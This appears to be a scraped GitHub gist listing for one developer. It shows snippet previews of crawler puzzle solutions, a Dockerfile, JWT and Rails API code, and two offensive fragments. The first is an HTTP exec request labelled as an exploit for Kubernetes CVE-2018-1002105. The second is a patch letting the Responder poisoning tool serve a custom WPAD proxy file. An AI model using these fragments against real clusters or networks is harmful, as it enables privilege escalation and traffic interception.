Skip to content

Instantly share code, notes, and snippets.

View abhisek's full-sized avatar
👾
Building stuff

Abhisek Datta abhisek

👾
Building stuff
View GitHub Profile
@abhisek
abhisek / gist:3ef7f1e208d46771cb79b6440028b787
Created December 7, 2018 18:14
Kubernetes Exploit CVE-2018–1002105
GET /api/v1/namespaces/mynamespace/pods/cool-79b76569d9-wxsvs/exec HTTP/1.1
Authorization: Bearer $TOKEN
Host: 192.168.12.10:6443
Connection: upgrade
Upgrade: websocket
@abhisek
abhisek / responder-wpad-file-patch
Created June 19, 2018 05:45
Responder patch to serve wpad.dat from file
diff --git a/Responder.conf b/Responder.conf
index 4303df6..0d32158 100644
--- a/Responder.conf
+++ b/Responder.conf
@@ -78,6 +78,8 @@ ExeDownloadName = ProxyClient.exe
; Custom WPAD Script
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
+WPADScriptFile = /tmp/wpad3.dat
+
@abhisek
abhisek / d11-crawler-sol.rb
Created September 19, 2017 12:11
Solution for D11 crawler problem
require 'rubygems'
require 'bundler'
Bundler.require(:default)
require 'nokogiri'
require 'uri'
require 'set'
BASE_URL = 'http://127.0.0.1:8000/'
ruby -r json -r "net/http" -e "puts JSON.parse(Net::HTTP.get_response(URI.parse('http://127.0.0.1:8000/graph.json')).body).map {|e| e[1]['codes']}.flatten.sort.first"
@abhisek
abhisek / Dockerfile
Created September 17, 2017 11:04
jsfoo crawler solution
FROM node:slim
RUN mkdir /app
ADD . /app
WORKDIR /app
RUN npm install
EXPOSE 8000
CMD npm start
get '/info' do
@data_service.info.to_json
end
def decode_jwt(id_token)
id_token = id_token.slice(7 .. -1) if id_token =~ /^Bearer/i
JWT.decode id_token, ENV['AUTH0_CLIENT_SECRET'], true,
algorithm: ENV['AUTH0_JWT_ALGO'], verify_iss: true,
aud: ENV['AUTH0_CLIENT_ID'],
verify_aud: true
end
before do
class DataServiceClient
def initialize(customer_id)
raise "Invalid Customer Id" if customer_id.to_i.zero?
@customer_id = customer_id.to_i
@client = RestClient::Resource.new(ENV['DATA_API_URL'] + '/customers/' + @customer_id.to_s,
:headers => { 'X-Access-Token' => ENV['DATA_API_KEY'], 'Accept' => 'application/json' })
end
def info
var jwt = require('express-jwt');
var JwtTokenValidator = {
validateToken: function(req, res, next) {
if(req.user) {
next();
} else {
res.status(401).json({ error: 'JwtMissingOrIncorrect', message: 'JWT token is missing or incorrect.' });
}
}
}
@abhisek
abhisek / projects_controller.rb
Created April 17, 2017 08:24
api-scoped-query
class Api::V1::ProjectsController < Api::V1::ApiController
before_filter :authenticate_api_user!
before_filter :load_customer!
def index
@projects = @customer.projects.order('created_at DESC')
render :json => @projects, :except => project_exclusions,
:methods => project_inclusions